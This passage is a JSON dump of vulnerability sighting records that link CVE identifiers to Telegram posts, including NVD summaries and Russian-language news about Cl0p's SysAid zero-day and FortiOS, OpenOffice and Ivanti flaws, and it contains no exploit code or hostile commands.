"2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47458", "type": "seen", "source": "https://t.me/cibsecurity/74200", "content": "\u203c\ufe0fCVE-2023-47458\u203c\ufe0f\n\nAn issue in SpringBlade v.3.7.0 and before allows a remote attacker to escalate privileges via the lack of permissions control framework.\n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2024-01-03T01:37:13.000000Z"}, {"uuid": "86dd7f0d-ae3a-412b-b647-e1a8f82c48b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4734", "type": "seen", "source": "https://t.me/cibsecurity/69700", "content": "\u203c CVE-2023-4734 \u203c\n\nInteger Overflow or Wraparound in GitHub repository vim/vim prior to 9.0.1846.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-02T22:14:49.000000Z"}, {"uuid": "1c9e85b8-626b-4e99-ba92-cd5dcc04d9d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47857", "type": "seen", "source": "https://t.me/cibsecurity/74172", "content": "\u203c\ufe0fCVE-2023-47857\u203c\ufe0f\n\n in OpenHarmony v3.2.2 and prior versions allow a local attacker cause multimedia camera crash through modify a released pointer.\n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2024-01-03T01:34:54.000000Z"}, {"uuid": "5e3f4c2d-8647-46a8-93a6-1ef331d2a558", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47216", "type": "seen", "source": "https://t.me/cibsecurity/74171", "content": "\u203c\ufe0fCVE-2023-47216\u203c\ufe0f\n\n in OpenHarmony v3.2.2 and prior versions allow a local attacker cause DOS through occupy all resources  \n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2024-01-03T01:34:49.000000Z"}, {"uuid": "cd9b80c3-8c8c-4982-bcc4-d524a9e36cf0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47039", "type": "seen", "source": "https://t.me/cibsecurity/74170", "content": "\u203c\ufe0fCVE-2023-47039\u203c\ufe0f\n\nA vulnerability was found in Perl. This security issue occurs while Perl for Windows relies on the system path environment variable to find the shell cmd.exe. When running an executable that uses the Windows Perl interpreter, Perl attempts to find and execute cmd.exe within the operating system. However, due to path search order issues, Perl initially looks for cmd.exe in the current working directory. This flaw allows an attacker with limited privileges to placecmd.exe in locations with weak permissions, such as CProgramData. By doing so, arbitrary code can be executed when an administrator attempts to use this executable from these compromised locations.\n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2024-01-03T01:34:44.000000Z"}, {"uuid": "8b78d852-8a09-42b7-aff0-b76341a48ceb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "https://t.me/proxy_bar/1829", "content": "CVE-2023-47246\n\u0410 \u0432\u043e\u0442 \u0438 0day \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044e\u0437\u0430\u044e\u0442 \u0440\u0430\u043d\u0441\u043e\u043c\u044b \u0438\u0437 Cl0p \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0439 \u043d\u0430 SysAid\n*\nexploit\n*", "creation_timestamp": "2023-11-17T20:36:38.000000Z"}, {"uuid": "59bbb3c4-ba8b-4403-8e45-5bee8ab97c66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4714", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1187", "content": "", "creation_timestamp": "2023-09-24T02:26:29.000000Z"}, {"uuid": "8911db50-b594-4f97-bf93-39e3ff99a729", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47804", "type": "seen", "source": "https://t.me/cibsecurity/73990", "content": "\u203c\ufe0fCVE-2023-47804\u203c\ufe0f\n\nApache OpenOffice documents can contain links that call internal macros with arbitrary arguments. Several URI Schemes are defined for this purpose.  Links can be activated by clicks, or by automatic document events.  The execution of such links must be subject to user approval.  In the affected versions of OpenOffice, approval for certain links is not requested when activated, such links could therefore result in arbitrary script execution.  This is a corner case of CVE202247502.  \n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2023-12-30T01:42:03.000000Z"}, {"uuid": "9ad7d559-a060-4b36-b13a-5624cd77d024", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47096", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1304", "content": "", "creation_timestamp": "2024-11-17T03:13:55.000000Z"}, {"uuid": "84be8585-5763-4225-aad0-8c10ba38fce1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4764", "type": "seen", "source": "https://t.me/cibsecurity/69927", "content": "\u203c CVE-2023-4764 \u203c\n\nIncorrect security UI in BFCache in Google Chrome prior to 116.0.5845.179 allowed a remote attacker to spoof the contents of the Omnibox (URL bar) via a crafted HTML page. (Chromium security severity: High)\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-06T02:17:40.000000Z"}, {"uuid": "8a52bfc7-5df1-4532-a95e-4f814dfae30f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "https://t.me/true_secator/5068", "content": "\u041f\u043e\u0445\u043e\u0436\u0435, \u0447\u0442\u043e \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0438 Cl0p \u043d\u0430\u0449\u0443\u043f\u0430\u043b\u0438 \u043d\u043e\u0432\u0443\u044e 0-day, \u043f\u0440\u0438\u0441\u0442\u0443\u043f\u0438\u0432 \u043a \u043d\u043e\u0432\u043e\u0439 \u043a\u0440\u0443\u043f\u043d\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 SysAid.\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u041f\u041e \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f IT \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u0441\u0432\u043e\u0438\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0435 CVE-2023-47246, \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b ransomware.\n\n\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e 0-day, \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u0437\u0430\u043c\u0435\u0442\u0438\u043b\u0430 \u0433\u0440\u0443\u043f\u043f\u0430 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0443\u0433\u0440\u043e\u0437 Microsoft, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0441\u043f\u0435\u0448\u0438\u043b\u0430 \u0443\u0432\u0435\u0434\u043e\u043c\u0438\u0442\u044c SysAid \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a, \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b, \u0447\u0442\u043e \u0435\u0433\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435 SysAid \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0430\u044f \u043a RCE.\u00a0\n\nSysAid \u0443\u0437\u043d\u0430\u043b\u0430 \u043e 0-day 2 \u043d\u043e\u044f\u0431\u0440\u044f, \u0430 8 \u043d\u043e\u044f\u0431\u0440\u044f \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 23.3.36, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u0438\u0437\u0432\u0430\u043d\u0430 \u0435\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c. \u041f\u043e\u043c\u0438\u043c\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439, \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u043f\u043e\u0434\u0435\u043b\u0438\u043b\u0441\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0435\u0439 \u043e \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445, IoC \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f\u043c\u0438.\u00a0\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Microsoft, CVE-2023-47246 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c Lace Tempest (\u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u043a\u0430\u043a DEV-0950), \u0447\u044c\u044f \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u0441\u0435\u043a\u0430\u0435\u0442\u0441\u044f \u0441 \u0433\u0440\u0443\u043f\u043f\u0430\u043c\u0438 FIN11 \u0438 TA505. \u0412\u0441\u0435 \u043e\u043d\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c Cl0p.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u0438\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u043e\u0433\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430 Microsoft \u0440\u0430\u043d\u0435\u0435 \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u043b\u0430 \u0441 \u043c\u0430\u0441\u0441\u043e\u0432\u043e\u0439\u00a0\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 MOVEit Transfer\u00a00-day, \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0432\u0448\u0435\u0439 \u0431\u043e\u043b\u0435\u0435 2500 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439.\n\n\u0412 \u0445\u043e\u0434\u0435 \u0430\u0442\u0430\u043a \u043d\u0430 SysAid \u0445\u0430\u043a\u0435\u0440\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435 \u0418\u0422-\u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 MeshAgent \u0438 GraceWire. \u0414\u0430\u043b\u0435\u0435, \u043a\u0430\u043a \u043f\u0440\u0430\u0432\u0438\u043b\u043e, \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0431\u043e\u043a\u043e\u0432\u043e\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u0435, \u043a\u0440\u0430\u0436\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 ransomware.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c SysAid, \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0438 \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0441\u043a\u0440\u0438\u043f\u0442 PowerShell, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u0447\u0438\u0441\u0442\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u044b \u0438 \u0443\u043b\u0438\u043a\u0438 \u0441 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432.\n\n\u0411\u0443\u0434\u0435\u043c \u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0437\u0430 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u0435\u043c \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0438.", "creation_timestamp": "2023-11-09T18:00:08.000000Z"}, {"uuid": "c9825138-45e9-4819-abf3-a053a84ba928", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47537", "type": "seen", "source": "https://t.me/true_secator/5396", "content": "Fortinet \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u043d\u043e\u0432\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 FortiOS SSL VPN, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\nCVE-2024-21762 (FG-IR-24-015) \u0438\u043c\u0435\u0435\u0442 \u0440\u0435\u0439\u0442\u0438\u043d\u0433 CVSS 9,6 \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446 \u0432 FortiOS.\n\n\u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438\u043b\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0447\u0435\u0440\u0435\u0437 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0435 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u044b.\n\n\u0414\u043b\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0448\u0438\u0431\u043a\u0438, Fortinet \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043e \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439, \u0430 \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0435\u0441\u043b\u0438 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043d\u0435 \u0443\u0434\u0430\u0435\u0442\u0441\u044f - \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u043c\u043e\u0436\u043d\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c, \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0432 SSL VPN \u043d\u0430 \u0441\u0432\u043e\u0438\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0441 FortiOS.\n\n\u0427\u0442\u043e \u0436\u0435 \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435, Fortinet \u043d\u0435 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439, \u0440\u0430\u0432\u043d\u043e \u0438 \u0442\u043e\u043c, \u043a\u0442\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c.\n\n\u0418\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043b\u0438\u0448\u044c \u0442\u043e, \u0447\u0442\u043e \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043d\u0430\u0440\u044f\u0434\u0443 \u0441 \u043d\u0435\u0439 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0440\u0430\u0441\u043a\u0440\u044b\u043b \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0438 \u043f\u043e \u0434\u0440\u0443\u0433\u0438\u043c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u043c \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u043c, \u0441\u0440\u0435\u0434\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445: CVE-2024-23113 (\u0440\u0435\u0439\u0442\u0438\u043d\u0433 9,8), CVE-2023-44487 \u0438 CVE-2023-47537 (\u043e\u0431\u0435 \u0441\u043e \u0441\u0440\u0435\u0434\u043d\u0438\u043c \u0440\u0435\u0439\u0442\u0438\u043d\u0433\u043e\u043c). \u041e\u0434\u043d\u0430\u043a\u043e \u0438\u0445 \u043d\u0435 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438 \u043a\u0430\u043a \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0435.\n\n\u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u0432 \u0432\u0438\u0434\u0443 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0438 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f CVE-2024-21762 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445, \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.", "creation_timestamp": "2024-02-09T11:20:05.000000Z"}, {"uuid": "7a44f55a-54de-4e55-857e-bc72240bb3ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47804", "type": "seen", "source": "https://t.me/true_secator/5270", "content": "\u0415\u0441\u043b\u0438 \u0442\u0430\u043a\u0438\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u043a\u0430\u043a QNAP \u0438 Ivanti \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e \u043e\u0442\u0442\u0430\u0447\u0438\u0432\u0430\u044e\u0442 \u0441\u0432\u043e\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b, \u043f\u0435\u0440\u0438\u043e\u0434\u0438\u0447\u0435\u0441\u043a\u0438, \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u0437\u0430\u043b\u0435\u0442\u0430\u044f \u0432 \u0440\u0443\u043a\u0438 \u0443\u043c\u0435\u043b\u044b\u0445 \u0445\u0430\u043a\u0435\u0440\u043e\u0432, \u0442\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f Apache OpenOffice \u0432\u044b\u0445\u043e\u0434\u044f\u0442 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0440\u0435\u0434\u043a\u043e.\n\n\u041d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0438 Apache OpenOffice \u0432\u0435\u0440\u0441\u0438\u0438 4.1.15 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e 4 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0440\u0435\u0434\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445:\n- CVE-2012-5639 (\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e/\u0432\u043d\u0435\u0448\u043d\u0435\u0433\u043e \u0440\u0435\u0441\u0443\u0440\u0441\u0430 \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f), \n- CVE-2022-43680 (\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 libexpat), \n- CVE-2023-1183 (\u0437\u0430\u043f\u0438\u0441\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0432 \u0431\u0430\u0437\u0435), \n- CVE-2023-47804 (\u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f URL-\u0430\u0434\u0440\u0435\u0441\u0430 \u043c\u0430\u043a\u0440\u043e\u0441\u0430).\n\n\u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435 \u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u043b\u0438\u0441\u044c, \u0437\u0430\u0442\u043e PoC \u0432 \u043d\u0430\u043b\u0438\u0447\u0438\u0438, \u0437\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c CVE-2022-43680. \u0412\u0441\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0431\u044b\u043b\u0438 \u043d\u0430\u0439\u0434\u0435\u043d\u044b \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 Apache OpenOffice 4.1.14 \u0438 \u0441\u0442\u0430\u0440\u0448\u0435.\n\n\u0427\u0442\u043e \u0436\u0435 \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044b\u0445 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u0432, \u0442\u043e \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0430\u044f.\n\nIvanti \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043e\u0431 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2023-39336 \u0432 Endpoint Manager (EPM).\n\n\u042d\u0442\u043e \u043e\u0448\u0438\u0431\u043a\u0430 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f SQL-\u043a\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443, \u0438\u043c\u0435\u044e\u0449\u0435\u043c\u0443 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0441\u0435\u0442\u0438, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0432\u044b\u0445\u043e\u0434\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0431\u0435\u0437 